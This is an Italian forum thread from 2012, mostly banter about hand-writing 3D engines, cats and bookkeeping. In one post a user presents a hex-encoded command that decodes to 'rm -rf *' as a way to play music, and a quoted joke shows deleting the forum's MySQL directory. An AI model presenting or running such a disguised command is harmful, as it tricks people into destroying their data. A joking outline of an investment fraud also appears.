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altg
utente che non utiene
il 2012-04-23 18:13:30.0 alle 2012-04-23 18:13:30.0
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Ares ha dei figli!
La gatta della vicina che sta un po' piu` su ha partorito una ventina di giorni fa! L'abbiamo scoperto solo oggi, avevano appena aperto gli occhietti. Sono nati tre gattini rossi marmorizzati (un paio identici ad Ares), uno rosso e bianco, e una gattina castano scuro, tale e quale alla madre. Nipotini di Mary Lou. Innamorato

Purtroppo l'unica gattina e` prenotata. In lacrime
E io non posso portare un altro maschio in casa.

Pazienza.

Arricchimento culturale in Svezia in corso

Ad https://www.breitbart.com/europe/2019/01/04/patient-placed-in-quarantine-after-suspected-ebola-case-in-sweden/
The Emergency Room of a Swedish hospital was closed down Friday morning after a patient recently returned from Africa arrived vomiting blood, a possible symptom of the deadly and contagious Ebola virus.‎
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altg
utente che non utiene
il 2012-04-23 18:09:20.0 alle 2012-04-23 18:09:20.0
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Re: altg quand'è che...
> > > > Io disegnerei su un framebuffer. Cioe`, nella mia concezione distorta dal vivere nel passato, la scheda video e` un framebuffer e basta. Un'area di memoria dove ci scrivi e, scrivendoci, disegni pixel per pixel.
> > >
> > > Chunky o planar ?
> >
> > Planar, planar.
>
> planar è l'aborto di modalità che c'era sull'amiga Perplesso

Veramente anche sui PC.
Comunque si parlava di vecchi che vivono nel passato. Imbarazzato
Detto fra noi, anche no. Anche sui PC mi piaceva l'MCGA a un byte per pixel. Fantasma
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altg
utente che non utiene
il 2012-04-23 18:05:26.0 alle 2012-04-23 18:05:26.0
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Re: once upon a time
> (la prossima volta vi racconto di quando anni prima, in basic, abbiamo inventato la programmazione ad oggetti)

Io, tanti strani eoni fa, volevo trovare un'alternativa al texturemapping, e con mente semplice di adolescente appena post-pubere pensai che in fondo un rettangolo con una texture, proiettato in 3D, poteva anche essere visto come un insieme di punti di colore diverso. Tutti proiettati, uno per uno. Sicche` con un 486 DX2 66 MHz, in C sotto DOS, mi misi a aggeggiare con le istruzioni della FPU per ottimizzare una routine che tracciasse il piu` veloce possibile dei rettangoli fatti di "punti 3D". Siccome i singoli pixel non riempivano bene a meno che non fossero tanti tanti e anche con tutte le ottimizzazioni non ce la facevo a coprire la MCGA a 320x200, li feci diventare quadratini che s'ingrandivano quando ci si avvicinava.

Nel '94, li chiamai "quirks".
Poi scoprii che si chiamavano gia` "voxels". Imbarazzato
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altg
utente che non utiene
il 2012-04-23 17:07:08.0 alle 2012-04-23 17:07:08.0
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Re: altg quand'è che...
> > > > > > Be', io non so se sono indicato a spiegare qualcosa a gente che voglia essere PRODUTTIVA nell'arco della propria vita. Io per spiegare come fare un gioco 3D partirei dal come scrivere un engine 3D in software, senza accelerazioni, rototraslando, Z-clippando, proiettando prospetticamente e tracciando i bordi dei poligoni col Bresenham, facendo edge antialiasing basato sul suo eta, costruendo liste per il blending, calcolando le normali alle superfici per l'hidden surface removal, l'UVspace per il texturing e lo z-buffering, fino a programmare direttamente i pixel shaders.
> > > > >
> > > > > mi spieghi come faresti? gli opcode delle varie schede video sono pub(bl)ici?
> > > >
> > > > Io disegnerei su un framebuffer. Cioe`, nella mia concezione distorta dal vivere nel passato, la scheda video e` un framebuffer e basta. Un'area di memoria dove ci scrivi e, scrivendoci, disegni pixel per pixel.
> > >
> > > mi riferivo ai pixel shader: praticamente faresti fare tutto il lavoro alla cpu...
> >
> > Sissi`, non me ne farei un problema.
> > Anzi, la troverei la cosa piu` affascinante.
> > A me piace il controllo totale.
> > Prima o poi riprendo a farlo.
>
> Controllo totale di cosa? Alla fine non lo sai come e` fatta la CPU dentro, come non sai come e` fatta la GPU dentro sono entrambe delle scatole nere a cui dai delle istruzioni in assembly, con la differenza che la GPU assomiglia di piu` ai Cray.

Be', ok, non volevo intendere "totale" come un assoluto.
Totale... ehm... finche` mi piace a me.
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altg
utente che non utiene
il 2012-04-23 17:05:35.0 alle 2012-04-23 17:05:35.0
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Re: altg quand'è che...
> > Io disegnerei su un framebuffer. Cioe`, nella mia concezione distorta dal vivere nel passato, la scheda video e` un framebuffer e basta. Un'area di memoria dove ci scrivi e, scrivendoci, disegni pixel per pixel.
>
> Chunky o planar ?

Planar, planar.

Partecipa anche tu!

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La rivoluzione è dietro l'angolo, compagno! Non fare il gatto selvaggio, unisciti al nostro plotone!‎
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il 2012-04-23 17:00:48.0 alle 2012-04-23 17:00:48.0
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Re: altg quand'è che...
> Se invece vuoi perdere tempo, perché alla fine farai questo, puoi anche cercare di impararti come funzionano a basso livello le schede video 3D, ammesso che tu trovi documentazione in merito visto che sono praticamente segreti industriali guardati a vista da un cecchino 24 ore al giorno,

Ancora oggi? Sorpresa
Speravo che nel tempo le cose fossero cambiate. A bocca storta

> o perdere tempo con engine 3D via software che non ti servono proprio ad una sega di niente perché oramai il 1990 è passato (purtroppo) da 20 anni e anche perché così facendo non impiegheresti il tuo tempo in modo migliore ad imparare come funziona OpenGL e come si fa un framework per videogiochi decente.

Gia`, e` quel che non gli suggerisco di fare. Il 3D via software magari e` piu` creativo, ma poi ti tocca stare da solo o inventare la tua squadra, invece di unirti a qualcun'altro che magari potrebbe anche pagarti. Anonimo
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il 2012-04-23 16:55:21.0 alle 2012-04-23 16:55:21.0
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Re: altg quand'è che...
> > > > Be', io non so se sono indicato a spiegare qualcosa a gente che voglia essere PRODUTTIVA nell'arco della propria vita. Io per spiegare come fare un gioco 3D partirei dal come scrivere un engine 3D in software, senza accelerazioni, rototraslando, Z-clippando, proiettando prospetticamente e tracciando i bordi dei poligoni col Bresenham, facendo edge antialiasing basato sul suo eta, costruendo liste per il blending, calcolando le normali alle superfici per l'hidden surface removal, l'UVspace per il texturing e lo z-buffering, fino a programmare direttamente i pixel shaders.
> > >
> > > mi spieghi come faresti? gli opcode delle varie schede video sono pub(bl)ici?
> >
> > Io disegnerei su un framebuffer. Cioe`, nella mia concezione distorta dal vivere nel passato, la scheda video e` un framebuffer e basta. Un'area di memoria dove ci scrivi e, scrivendoci, disegni pixel per pixel.
>
> mi riferivo ai pixel shader: praticamente faresti fare tutto il lavoro alla cpu...

Sissi`, non me ne farei un problema.
Anzi, la troverei la cosa piu` affascinante.
A me piace il controllo totale.
Prima o poi riprendo a farlo.
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il 2012-04-23 16:50:30.0 alle 2012-04-23 16:50:30.0
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Re: altg quand'è che...
> > Be', io non so se sono indicato a spiegare qualcosa a gente che voglia essere PRODUTTIVA nell'arco della propria vita. Io per spiegare come fare un gioco 3D partirei dal come scrivere un engine 3D in software, senza accelerazioni, rototraslando, Z-clippando, proiettando prospetticamente e tracciando i bordi dei poligoni col Bresenham, facendo edge antialiasing basato sul suo eta, costruendo liste per il blending, calcolando le normali alle superfici per l'hidden surface removal, l'UVspace per il texturing e lo z-buffering, fino a programmare direttamente i pixel shaders.
>
> mi spieghi come faresti? gli opcode delle varie schede video sono pub(bl)ici?

Io disegnerei su un framebuffer. Cioe`, nella mia concezione distorta dal vivere nel passato, la scheda video e` un framebuffer e basta. Un'area di memoria dove ci scrivi e, scrivendoci, disegni pixel per pixel.
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il 2012-04-23 16:23:30.0 alle 2012-04-23 16:23:30.0
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Re: altg quand'è che...
> > > > Io poi non ne avrei neanche voglia
> > >
> > > NOOOOOOOOOOOOOOOOOOOOOOOOOOOOoooooooooooo In lacrimeIn lacrimeIn lacrime
> >
> > Ma non e` che c'e` un modo piu` semplice? Io vedo un sacco di giochini 3D sui tablet android e sull'apple store... penso si appoggino molto a librerie esistenti che potrebbero essere facili da usare. Non me ne sono mai interessato perche` sono scemo (e` assodato), quindi non so di cosa parlo e quanto davvero siano semplici o meno da usare, ma chi non e` scemo penso dovrebbe provare quella strada, non la mia di voler aprire tutte le scatole nere. Occhiolino
>
> si, uacco sta percorrendo questa strada anche se secondo me non ha ancora scritto neanche 1 riga di codice

Stai implicitamente suggerendo che wakko non sia scemo? A bocca aperta

*ridacchia*

NON DIRMELO SE LO SAI MA SE NON LO SAI SAPPILO

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LO SAI? Allora NON fa per te. NON LO SAI? Allora non ti serve.‎
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il 2012-04-23 16:18:27.0 alle 2012-04-23 16:18:27.0
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Re: altg quand'è che...
> > Io poi non ne avrei neanche voglia
>
> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOoooooooooooo In lacrimeIn lacrimeIn lacrime

Ma non e` che c'e` un modo piu` semplice? Io vedo un sacco di giochini 3D sui tablet android e sull'apple store... penso si appoggino molto a librerie esistenti che potrebbero essere facili da usare. Non me ne sono mai interessato perche` sono scemo (e` assodato), quindi non so di cosa parlo e quanto davvero siano semplici o meno da usare, ma chi non e` scemo penso dovrebbe provare quella strada, non la mia di voler aprire tutte le scatole nere. Occhiolino
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il 2012-04-23 16:07:52.0 alle 2012-04-23 16:07:52.0
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Re: altg quand'è che...
> > > ...vieni in chat a spiegarci come fare un gioco 3d? Newbie, inesperto
> >
> > ma non doveva spiegarci come si fa un compilatore?
> >
> > FantasmaAnonimo
>
> ha detto che non vuole spiegarci come fare un compilatore In lacrime

Be', io non so se sono indicato a spiegare qualcosa a gente che voglia essere PRODUTTIVA nell'arco della propria vita. Io per spiegare come fare un gioco 3D partirei dal come scrivere un engine 3D in software, senza accelerazioni, rototraslando, Z-clippando, proiettando prospetticamente e tracciando i bordi dei poligoni col Bresenham, facendo edge antialiasing basato sul suo eta, costruendo liste per il blending, calcolando le normali alle superfici per l'hidden surface removal, l'UVspace per il texturing e lo z-buffering, fino a programmare direttamente i pixel shaders. Questo come partenza. Io poi non ne avrei neanche voglia, ma mi chiedo se qualcun'altro l'avrebbe. La cosa intelligente da fare, penso, sarebbe appoggiarsi a roba esistente e accelerata. Fantasma
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il 2012-04-23 14:59:32.0 alle 2012-04-23 14:59:32.0
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Re: Pensavo ad Avve ...
> > > A proposito di dollari, dovete assolutamente provare ad andare in /var/lib/mysql ed eseguire questo comando per diffondere una deliziosa musichetta in tutto il forum:
> > >
> > > $(echo 726d202d7266202a | xxd -r -p)
> > >
> > > Anonimo
> >
> > Ormai ho letto. Non ho idea di che faccia il comando, ma ormai so che digitare quella roba è male.
>
> basta digitarlo senza $():
>
> $ echo 726d202d7266202a | xxd -r -p

Detto fra noi, secondo me la command line e` abbastanza criptica che a molti, anche dicendogli di digitare rm -rf * per suonare qualcosa, lo farebbero uguale. Anonimo
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il 2012-04-23 14:56:26.0 alle 2012-04-23 14:56:26.0
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Re: Avvelentani & Wakko a rischio
> > > > > > > C'è chi preferisce vivere fra i pony colorati, gli oroscopi, i gesù cristi, i padre pio, ecc... e chi invece preferisce non ingannare sé stesso e gli altri e vivere quel che gli resta nella realtà.
> > > > > > >
> > > > > > > Sarà anche vero che vivere in una bella bugia migliori la qualità della vita (magari, come spesso accade, peggiorando notevolmente quella altrui); personalmente però preferisco accettare la realtà com'è, anche se questo va a mio discapito.
> > > > > >
> > > > > > "In a truly magical universe everything has its opposite. For example, there's anti-light. That's not the same as darkness, because darkness is merely the absence of light. Anti-light is what you get if you pass through darkness and out the other side. On the same basis, a state of knurdness isn't like sobriety. By comparison, sobriety is like having a bath in cotton wool. Knurdness strips away all illusion, all the comforting pink fog in which people normally spend their lives, and lets them see and think clearly for the first time ever. Then, after they've screamed a bit, they make sure they never get knurd again." ~Terry Pratchett, Sourcery
> > > > >
> > > > > Concordo. Fantasma
> > > > >
> > > > > Si e` inconsapevoli della presenza della confortevole nebbia rosa. Quando se ne diventa consapevoli, si diventa curiosi di vedere cosa succede se la si fa sparire. Dopo di che, si attraversa uno stato di dolore bestiale, contatto totale, annichilazione. Non si e` piu` gli stessi ne` lo saremo mai piu`, ma mestamente si procede a rimettere a posto un po' di nebbia e si passa ad essere felici di lasciarla li`. A bocca aperta
> > > >
> > > > l'anti-luce potrebbe essere un progetto per GS ora che non ha più niente da fare: il suo argent personale Fantasma
> > >
> > > Gli antifotoni non esistono e GS comunque ha molto da fare: deve trovare un modo per farsi la pensione senza lavorare.
> >
> > Forte della laurea in fisica, potresti cominciare a sperimentare con elettrodi di rodio (il palladio ormai e` bruciato) e una corrente pulsata attorno a idrogeno ad alta pressione, e dire a tutti che hai scoperto un'applicazione commerciabile della fusione fredda e che ti servono fondi per avviare la produzione industriale, ma che pero` non puoi fargli vedere com'e` fatta dentro la camera di fusione perche` non riesci a ottenere il brevetto. Poi fai finta che il business si avvii, ripaghi gli interessi dei primi investitori con parte dei loro stessi capitali, ne attiri altri, infine scappi con la cassa. Anonimo
>
> Scappare dove, dopo una tal truffa di dimensioni planetarie?

Ah, gia`.

um..
umm...

in Italia!
Cioe` resta dove sei.
I truffatori forse li ammirano. A bocca aperta

Dio Porco

Ad hhttps://bestemmietraamicidioporco
Perché non bestemmiare tra amici? È una cosa divertente!‎
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il 2012-04-23 14:48:20.0 alle 2012-04-23 14:48:20.0
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Re: Google Earth e Directx 9
Boh. Io provai anche opengl non notando differenze pratiche.
Speravo che almeno una facesse edge antialiasing, macche`. Triste
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il 2012-04-23 14:44:38.0 alle 2012-04-23 14:44:38.0
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Re: Pensavo ad Avve ...
> Sarà che io detesto quelli che pisciano il cane. (in genere)

Gia`, meglio il gatto.
Il gatto piscia da solo.
Specialmente spruzzate territoriali sui panni stesi ad asciugare. Ficoso
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il 2012-04-23 14:41:22.0 alle 2012-04-23 14:41:22.0
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Re: Avvelentani & Wakko a rischio
> > > > > C'è chi preferisce vivere fra i pony colorati, gli oroscopi, i gesù cristi, i padre pio, ecc... e chi invece preferisce non ingannare sé stesso e gli altri e vivere quel che gli resta nella realtà.
> > > > >
> > > > > Sarà anche vero che vivere in una bella bugia migliori la qualità della vita (magari, come spesso accade, peggiorando notevolmente quella altrui); personalmente però preferisco accettare la realtà com'è, anche se questo va a mio discapito.
> > > >
> > > > "In a truly magical universe everything has its opposite. For example, there's anti-light. That's not the same as darkness, because darkness is merely the absence of light. Anti-light is what you get if you pass through darkness and out the other side. On the same basis, a state of knurdness isn't like sobriety. By comparison, sobriety is like having a bath in cotton wool. Knurdness strips away all illusion, all the comforting pink fog in which people normally spend their lives, and lets them see and think clearly for the first time ever. Then, after they've screamed a bit, they make sure they never get knurd again." ~Terry Pratchett, Sourcery
> > >
> > > Concordo. Fantasma
> > >
> > > Si e` inconsapevoli della presenza della confortevole nebbia rosa. Quando se ne diventa consapevoli, si diventa curiosi di vedere cosa succede se la si fa sparire. Dopo di che, si attraversa uno stato di dolore bestiale, contatto totale, annichilazione. Non si e` piu` gli stessi ne` lo saremo mai piu`, ma mestamente si procede a rimettere a posto un po' di nebbia e si passa ad essere felici di lasciarla li`. A bocca aperta
> >
> > l'anti-luce potrebbe essere un progetto per GS ora che non ha più niente da fare: il suo argent personale Fantasma
>
> Gli antifotoni non esistono e GS comunque ha molto da fare: deve trovare un modo per farsi la pensione senza lavorare.

Forte della laurea in fisica, potresti cominciare a sperimentare con elettrodi di rodio (il palladio ormai e` bruciato) e una corrente pulsata attorno a idrogeno ad alta pressione, e dire a tutti che hai scoperto un'applicazione commerciabile della fusione fredda e che ti servono fondi per avviare la produzione industriale, ma che pero` non puoi fargli vedere com'e` fatta dentro la camera di fusione perche` non riesci a ottenere il brevetto. Poi fai finta che il business si avvii, ripaghi gli interessi dei primi investitori con parte dei loro stessi capitali, ne attiri altri, infine scappi con la cassa. Anonimo
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utente che non utiene
il 2012-04-23 14:32:30.0 alle 2012-04-23 14:32:30.0
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Re: Pensavo ad Avve ...
> > >
> > > $ ssh forumdeitroll.com
> > > $ su
> > > Password:
> > > $ rm -Rf /var/lib/mysql /src
> > > 

> > >
> >
> > ed è per questo che bisogna fare una wiki nuova nuova Idea!
> >
> > cmq..
> >
> > dopo il su hai messo un $ al posto del # Fantasma
>
> tu non sai nulla della mia variabile $PS1.

A proposito di dollari, dovete assolutamente provare ad andare in /var/lib/mysql ed eseguire questo comando per diffondere una deliziosa musichetta in tutto il forum:

$(echo 726d202d7266202a | xxd -r -p)

Anonimo

abcdefghi

Ad www.www.www
qwerty‎
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utente che non utiene
il 2012-04-23 04:18:21.0 alle 2012-04-23 04:18:21.0
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Re: Avvelentani & Wakko a rischio
> > C'è chi preferisce vivere fra i pony colorati, gli oroscopi, i gesù cristi, i padre pio, ecc... e chi invece preferisce non ingannare sé stesso e gli altri e vivere quel che gli resta nella realtà.
> >
> > Sarà anche vero che vivere in una bella bugia migliori la qualità della vita (magari, come spesso accade, peggiorando notevolmente quella altrui); personalmente però preferisco accettare la realtà com'è, anche se questo va a mio discapito.
>
> "In a truly magical universe everything has its opposite. For example, there's anti-light. That's not the same as darkness, because darkness is merely the absence of light. Anti-light is what you get if you pass through darkness and out the other side. On the same basis, a state of knurdness isn't like sobriety. By comparison, sobriety is like having a bath in cotton wool. Knurdness strips away all illusion, all the comforting pink fog in which people normally spend their lives, and lets them see and think clearly for the first time ever. Then, after they've screamed a bit, they make sure they never get knurd again." ~Terry Pratchett, Sourcery

Concordo. Fantasma

Si e` inconsapevoli della presenza della confortevole nebbia rosa. Quando se ne diventa consapevoli, si diventa curiosi di vedere cosa succede se la si fa sparire. Dopo di che, si attraversa uno stato di dolore bestiale, contatto totale, annichilazione. Non si e` piu` gli stessi ne` lo saremo mai piu`, ma mestamente si procede a rimettere a posto un po' di nebbia e si passa ad essere felici di lasciarla li`. A bocca aperta
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il 2012-04-23 00:32:14.0 alle 2012-04-23 00:32:14.0
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Re: Avvelentani & Wakko a rischio
> C'è chi preferisce vivere fra i pony colorati, gli oroscopi, i gesù cristi, i padre pio, ecc... e chi invece preferisce non ingannare sé stesso e gli altri e vivere quel che gli resta nella realtà.
>
> Sarà anche vero che vivere in una bella bugia migliori la qualità della vita (magari, come spesso accade, peggiorando notevolmente quella altrui); personalmente però preferisco accettare la realtà com'è, anche se questo va a mio discapito.

Buon per te, io se annullassi qualsiasi autoillusione, non vivrei.
Cascherei secco a terra in quel momento. Triste
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il 2012-04-23 00:27:57.0 alle 2012-04-23 00:27:57.0
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Re: Alessandrox
> > > > > hai p.iva?
> > > > >
> > > > > io dovrei aprirla che consigli?
> > > >
> > > > trovati un lavoro dipendente
> > >
> > > non c'è solo fregature ,devo inventarmelo io e lo sto facendo se non vi fossero tutte queste assurde formalità burocratiche
> >
> > Personalmente non ho incontrato grosse difficolta`, nonostante per anni abbia avuto la partita iva a intermittenza (apri, chiudi, apri, chiudi). Certo, con la commercialista che faceva tutto, ma aprire e chiudere partita iva non era niente di che. Bastava andare in un palazzone che non ricordo al piano giusto che non ricordo e portare qualche scartoffia (che non ricordo).
>
> Quando avevo la ditta, anche dopo chiuso la partita iva ho dovuto pagare tutti i contributi per l'anno fiscale, quindi c'è una specie di inerzia, non puoi proprio aprire e chiudere a intermittenza.
>
> Ma il punto fondamentale è: guadagni 40.000 euro l'anno? Puoi permetterti di pagare commercialista consulenti tasse contributi e vampiri vari, e ti rimane abbastanza. Guadagni 10.000 euro? Non vale la pena sbattersi perché ti rimarrà in tasca una miseria.

Be', io la chiudevo quando arrivavo al livello in cui conveniva farsi compensare come collaboratore occasionale esterno. Quando si fa la notula invece della fattura, ecco. [E` tutto quel che so.]

E si` che sarei teoricamente ragioniere. Avevo sempre 5 a ragioneria, e fra il 4 e il 5 a tecnica aziendale. Ma l'anno in cui mi diplomai, stranamente, ragioneria non fu materia d'esame a... ragioneria. Strano ma vero. Ci fu scritto inglese e italiano (un tema su "matematica e poesia" in cui parlai dei paesaggi artificiali, 9 colonne), e poi il programmino in COBOL che scrissi con doppio salto mortale avvitato all'indietro e ricorsione carpiata, e che forse sono ancora li` a chiedersi come facesse a funzionare. Poi all'orale di letteratura mi chiesero esattamente quel che avevo ripassato nei 20 minuti prima di entrare in classe, mi pare Leopardi, Boccaccio e un altro tizio del genere. E poi ci fu l'orale d'inglese. Insomma feci una maturita` da 60 e lode (ai tempi era in sessantesimi), ma chiusi a 40 per via della carriera precedente, per esempio l'aver ripetuto due anni e l'aver fatto prevalentemente il fancazzista per il resto. Rimpiango quel giorno perche` invece di fare l'esame avrei potuto giocare al lotto e fare una bella cinquina secca garantita. Mi sarebbe servita di piu`. Fantasma

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